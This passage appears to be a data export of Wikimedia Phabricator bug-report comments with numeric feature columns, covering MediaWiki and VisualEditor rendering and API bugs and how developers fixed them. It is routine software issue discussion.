See [[https://it.wikipedia.org/w/index.php?title=Discussioni_progetto:Coordinamento/Template&oldid=76516793#Errore di visualizzazione da mobile | discussion ]] (in italian) and [[https://it.m.wikipedia.org/wiki/Kriszti%C3%A1n_Adorj%C3%A1n|example]].",,,1447669730,,PHID-USER-6ji4nw2pi3dgjy7tgmhp,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,124,,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.7846153846153845,0.7692307692307693,"The CSS trick for do not display element with //mw-empty-li// class works only for Desktop, not in mobile version.

It's possible in this transitory period hide the empty list elements also in mobile site? Thanks

See [[URL di visualizzazione da mobile | discussion ]] (in italian) and [[URL"
560874,Empty list items goes missing in the PHP parser when tidy is enabled,"This tasks seems to be related to a lot of odd looking [[Template:Authority control]] templates that use //hlists// which suddenly started showing rows of dots between entries

# Commons issues and the fix was discussed at https://www.mediawiki.org/wiki/Talk:Snippets/Horizontal_lists
# Czech Wiki opted for rewriting the template https://cs.wikipedia.org/wiki/%C5%A0ablona:Autoritn%C3%AD_data?diff=13027629&oldid=12931367
# Other wikis were spared because they already rewrote the template in Lua
",,,1447161101,,PHID-USER-j4jntnatcouoxfrk74sh,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,123,,0.0,0.0,0.0,4.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,25.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,14.0,1.0,1.0,9.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,13.0,6.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,4.0,0.0,0.0,3.0,4.304347826086956,0.8260869565217391,"This tasks seems to be related to a lot of odd looking [[Template:Authority control]] templates that use //hlists// which suddenly started showing rows of dots between entries

# Commons issues and the fix was discussed at URL
# Czech Wiki opted for rewriting the template URL
# Other wikis were spared because they already rewrote the template in Lua
"
556979,Empty list items goes missing in the PHP parser when tidy is enabled,"I don't have the gerrit skills to parse the code to understand whether this change will allow a page to emit a tracking category specific to monitor articles and templates that need to be updated. If it will, some instruction would be helpful. If it currently will not, please make whatever code modification is necessary to allow a page to emit such a tracking category. Thank you. ",,,1446519651,,PHID-USER-7cpk77uy2iq7bxf6hac6,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,122,,1.0,0.0,0.0,1.0,3.0,4.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,5.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,18.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,5.0,4.0,1.0,14.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,4.27027027027027,0.6621621621621622,"I don't have the gerrit skills to parse the code to understand whether this change will allow a page to emit a tracking category specific to monitor articles and templates that need to be updated. If it will, some instruction would be helpful. If it currently will not, please make whatever code modification is necessary to allow a page to emit such a tracking category. Thank you. "
554332,Empty list items goes missing in the PHP parser when tidy is enabled,"Change 246148 merged by jenkins-bot:
Client-side migration for empty li preservation

[[https://gerrit.wikimedia.org/r/246148]]",,,1446075996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,121,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.9565217391304346,0.8695652173913043,"Change 246148 merged by jenkins-bot:
Client-side migration for empty li preservation

[[GERRIT_URL]]"
546109,Empty list items goes missing in the PHP parser when tidy is enabled,"Change 246148 had a related patch set uploaded (by Tim Starling):
Client-side migration for empty li preservaton

[[https://gerrit.wikimedia.org/r/246148]]
",,,1444793336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,119,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.9310344827586206,0.896551724137931,"Change 246148 had a related patch set uploaded (by Tim Starling):
Client-side migration for empty li preservaton

[[GERRIT_URL]]
"
546104,Empty list items goes missing in the PHP parser when tidy is enabled,"I'm going to introduce a migration tool to fix this bug, roughly following @cscott's suggestion, which is to preserve empty <li> tags through Tidy, but to add a class to those preserved elements which will be styled with display:none. It is believed that there are some templates which are producing empty list items because it is convenient for them as a way of omitting the list item for empty input. After the display:none hack is introduced, a user script would allow the expected changes to be visible to template maintainers. There is also a proposed change to log affected templates: https://gerrit.wikimedia.org/r/#/c/246106

After a suitable migration period, the display:none rule would be removed, and list items would be visible as is desired by the multiple reporters of this bug.

The empty <li> tags would be preserved through tidy by adding a datafld attribute, exploiting special case behaviour in Tidy's CanPrune() which was intended to fix http://sourceforge.net/p/tidy/bugs/337/
",,,1444792377,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,119,,0.5,0.0,0.0,3.5,0.0,6.5,2.0,0.5,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.5,0.5,1.0,13.0,1.5,4.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,4.5,1.0,1.0,1.0,0.0,0.0,1.0,0.0,2.5,0.0,0.5,0.0,2.0,1.0,1.5,0.0,0.0,0.5,20.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,7.5,6.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,2.0,13.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,3.5,0.5,2.5,0.0,0.0,2.0,4.2228260869565215,0.7445652173913044,"I'm going to introduce a migration tool to fix this bug, roughly followingSCREEN_NAME's suggestion, which is to preserve empty <li> tags through Tidy, but to add a class to those preserved elements which will be styled with display:none. It is believed that there are some templates which are producing empty list items because it is convenient for them as a way of omitting the list item for empty input. After the display:none hack is introduced, a user script would allow the expected changes to be visible to template maintainers. There is also a proposed change to log affected templates: URL

After a suitable migration period, the display:none rule would be removed, and list items would be visible as is desired by the multiple reporters of this bug.

The empty <li> tags would be preserved through tidy by adding a datafld attribute, exploiting special case behaviour in Tidy's CanPrune() which was intended to fix URL
"
228064,Empty list items goes missing in the PHP parser when tidy is enabled,*** Bug 52374 has been marked as a duplicate of this bug. ***,,,1386112687,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52374 has been marked as a duplicate of this bug. ***
49672,VisualEditor: Sequential floated images are stacking,"**Author:** `owen`

**Description:**
Looking at [[Principality of Stavelot-Malmedy]] in the Visual Editor, immediately after the heading ""Development and the High Middle Ages"" there are two images floated right.

In Read mode, these images are given `float: right; clear: right;`. In VE mode, however, the `clear: right;` appears to be missing, so the images are stacking up.

In case it makes a difference, I'm running Chrome 26.0.1410.64 m, on 64-bit Windows 7 Home Premium (Build 7601, Service Pack 1).

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://en.wikipedia.org/wiki/Principality_of_Stavelot-Malmedy",Medium,50.0,1366925940,1369093908.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-eaknwofmb4d2xflpnx7d,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.5,0.5,0.0,1.5,6.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,19.0,0.5,0.5,4.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,0.0,1.5,6.5,13.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,0.0,3.0,0.0,0.0,1.0,3.5170502983802217,0.678921568627451,"**Author:** CODE

**Description:**
Looking at [[Principality of Stavelot-Malmedy]] in the Visual Editor, immediately after the heading ""Development and the High Middle Ages"" there are two images floated right.

In Read mode, these images are given CODE. In VE mode, however, the CODE appears to be missing, so the images are stacking up.

In case it makes a difference, I'm running Chrome 26.0.1410.64 m, on 64-bit Windows 7 Home Premium (Build 7601, Service Pack 1).

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
228025,VisualEditor: Sequential floated images are stacking,"This was fixed by gerrit 64367 which is now merged, but is 'experimental' and
so will not go out for a short while. Marking as fixed within wmf5, though.",,,1369093844,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eaknwofmb4d2xflpnx7d,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,6.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5,0.8611111111111112,"This was fixed by gerrit 64367 which is now merged, but is 'experimental' and
so will not go out for a short while. Marking as fixed within wmf5, though."
228023,VisualEditor: Sequential floated images are stacking,"This is because Parsoid outputs completely different HTML for images (using <figure> and what not) that doesn't match the MediaWiki CSS.

This will be fixed once we change the ce.MWThumbImageNode rendering to match the MW rendering rather than the Parsoid rendering, and move image support out of the experimental list.",,,1366927394,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eaknwofmb4d2xflpnx7d,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,2.0,2.0,3.0,3.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,15.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,11.0,11.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,2.0,4.442622950819672,0.8032786885245902,"This is because Parsoid outputs completely different HTML for images (using <figure> and what not) that doesn't match the MediaWiki CSS.

This will be fixed once we change the ce.MWThumbImageNode rendering to match the MW rendering rather than the Parsoid rendering, and move image support out of the experimental list."
228019,VisualEditor: Sequential floated images are stacking,"Confirmed - the DM layer for alien items (like images) apparently respects the CSS and is meant to pass it through, but CE isn't?",,,1366926217,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eaknwofmb4d2xflpnx7d,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6551724137931036,0.9310344827586207,"Confirmed - the DM layer for alien items (like images) apparently respects the CSS and is meant to pass it through, but CE isn't?"
49642,[TUX] Page view doesn't fit long page titles,"A long title all mixed

Long titles get compressed until they become unreadable, see URL and screenshot.

--------------------------
**Version**: master
**Severity**: minor
**URL**: https://meta.wikimedia.org/w/index.php?title=Special:Translate&language=de&group=page-Wikimedia+Blog%2FDrafts%2FTry+out+the+alpha+version+of+the+VisualEditor%2C+now+in+15+languages&filter=&action=page
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=45924

**Attached**: {F10857}",Medium,50.0,1366899360,1607413610.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-TASK-7rd7dea5gzp4xsh4amok,task_description,declined,True,c1,1,True,False,False,-10,,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1363636363636362,0.5151515151515151,"A long title all mixed

Long titles get compressed until they become unreadable, see URL and screenshot.

--------------------------
**Version**: master
**Severity**: minor
**URL**: URL
**See Also**:
URL

**Attached**: {F10857}"
1629080,[TUX] Page view doesn't fit long page titles,"So, on Vector this looks okay. On Monobook it looks like in the Vector screenshot above. Vector overrides the line-height for h1, Monobook doesn't. So the rule from Translate applies:
``` 
.tux-messagelist .tux-message-pagemode .tux-pagemode-translation {
	color: #222;
	font-size: 16px;
	line-height: 1.5em;
	padding-left: 20px;
}
```

Since it is still readable and Monobook is not my favorite skin, I'm inclined to decline this as not worth fixing in Translate. It would be nice of Monobook also set the line-height when overriding font-size for headings.",,,1607413610,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-7rd7dea5gzp4xsh4amok,task_subcomment,,True,c1,3,True,,,388,,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,1.0,10.0,13.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,17.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,13.0,11.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7934782608695654,0.6739130434782609,"So, on Vector this looks okay. On Monobook it looks like in the Vector screenshot above. Vector overrides the line-height for h1, Monobook doesn't. So the rule from Translate applies:
``CODE``

Since it is still readable and Monobook is not my favorite skin, I'm inclined to decline this as not worth fixing in Translate. It would be nice of Monobook also set the line-height when overriding font-size for headings."
226044,[TUX] Page view doesn't fit long page titles,"Created attachment 12173
Same long title just partly overlapping in another browser

**Attached**: {F10858}",,,1366899451,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-7rd7dea5gzp4xsh4amok,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.173913043478261,0.8695652173913043,"Created attachment 12173
Same long title just partly overlapping in another browser

**Attached**: {F10858}"
49581,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)","1. Parsoid not running, VisualEditor enabled on to-be-created page X
2. Enter a few words 
3. ""Review and Save""
4. Loader keeps spinning indefinitely

Request:

action=visualeditor&paction=serialize&html=%3Cp+data-ve-changed%3D%22%7B%26quot%3Bcontent%26quot%3B%3A7%7D%22%3Edfgdg%3C%2Fp%3E&page=Sandbox%2F1&oldid=0&token=%2B%5C&format=json

Response:

{""visualeditor"":{""result"":""success"",""content"":false}}

No errors.

Note this bug could also be reported as ""Loader keeps spinning forever when creating a new page and trying to review/save it""

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1366757460,1368638813.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-jrrnahwoyus5omqe5ox7,task_description,resolved,True,c1,1,True,False,True,-10,,0.5,0.0,0.0,1.0,0.5,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.5,1.0,1.0,1.0,0.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,9.5,1.0,1.5,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,1.0,3.0,3.5,0.0,3.5,0.0,1.0,0.0,1.0,1.5,0.0,3.5,0.0,0.0,1.0,5.055921052631579,0.7343358395989975,"1. Parsoid not running, VisualEditor enabled on to-be-created page X
2. Enter a few words 
3. ""Review and Save""
4. Loader keeps spinning indefinitely

Request:

action=visualeditor&paction=serialize&html=%3Cp+data-ve-changed%3D%22%7B%26quot%3Bcontent%26quot%3B%3A7%7D%22%3Edfgdg%3C%2Fp%3E&page=Sandbox%2F1&oldid=0&token=%2B%5C&format=json

Response:

{""visualeditor"":{""result"":""success"",""content"":false}}

No errors.

Note this bug could also be reported as ""Loader keeps spinning forever when creating a new page and trying to review/save it""

--------------------------
**Version**: unspecified
**Severity**: normal"
222414,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)",Merged into master; will go out with wmf5.,,,1368638813,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jrrnahwoyus5omqe5ox7,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged into master; will go out with wmf5.
222408,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)",Related URL: https://gerrit.wikimedia.org/r/63861 (Gerrit Change I6bdd177bc9b5a0af9107cf08d8e46470c6778e12),,,1368631835,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrrnahwoyus5omqe5ox7,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I6bdd177bc9b5a0af9107cf08d8e46470c6778e12)
222402,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)","(In reply to comment #1)
> Related URL: https://gerrit.wikimedia.org/r/60613 (Gerrit Change
> Icdf64a792c13a326f494e051be47f2946928d142)

This fixed the visible problem described below:

(In reply to comment #0)
> as ""Loader keeps spinning forever when creating a new page and
> trying to review/save it""

The error is now handled by stopping the spinner (as we always do after an aborted load) and display the error.

The error message in my case was ""No Wikitext content in response from server"" triggered from ve.init.mw.Target.onSerialize's patch where there are no errors and eventually finds this by type-checking the content property.

Lowering priority. Todo tasks:

* Don't return status ""success"" if content is missing, but use status ""error"".

* Make it not just status ""error"" but actually trigger a proper API response.error property with a more direct error, namely that the Parsoid server is unavailable.",,,1366762868,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jrrnahwoyus5omqe5ox7,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.5,1.0,3.5,0.5,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.5,1.0,0.0,6.0,8.5,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,1.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,20.0,0.5,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,1.0,0.0,0.0,0.5,0.0,0.0,5.5,3.0,10.0,2.0,2.5,7.5,0.0,0.0,0.0,1.0,5.5,0.5,1.0,0.0,1.5,8.5,1.0,0.0,5.0,0.0,1.5,0.0,0.5,1.5,0.0,2.5,0.5,0.0,0.0,3.95,0.69375,"(In reply to comment #1)
QUOTE
QUOTE

This fixed the visible problem described below:

(In reply to comment #0)
QUOTE
QUOTE

The error is now handled by stopping the spinner (as we always do after an aborted load) and display the error.

The error message in my case was ""No Wikitext content in response from server"" triggered from ve.init.mw.Target.onSerialize's patch where there are no errors and eventually finds this by type-checking the content property.

Lowering priority. Todo tasks:

* Don't return status ""success"" if content is missing, but use status ""error"".

* Make it not just status ""error"" but actually trigger a proper API response.error property with a more direct error, namely that the Parsoid server is unavailable."
222395,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)",Related URL: https://gerrit.wikimedia.org/r/60613 (Gerrit Change Icdf64a792c13a326f494e051be47f2946928d142),,,1366761720,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrrnahwoyus5omqe5ox7,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Icdf64a792c13a326f494e051be47f2946928d142)
49528,Create a VisualEditor plugin tool to add/edit musical scores,"As a VisualEditor plugin inside the extension, provide a visual way for users to create and edit musical scores.

This would be a (very) major undertaking, even if there is an existing JavaScript-based visual Lilypond score editor, or failing that, a visual score editor with a different output format which would need to be converted to Lilypond. A brief search found a few promising leads for ABC editors, but mostly based in Flash.

Still, hopefully not just a pipedream. :-)

--------------------------
**Version**: unspecified
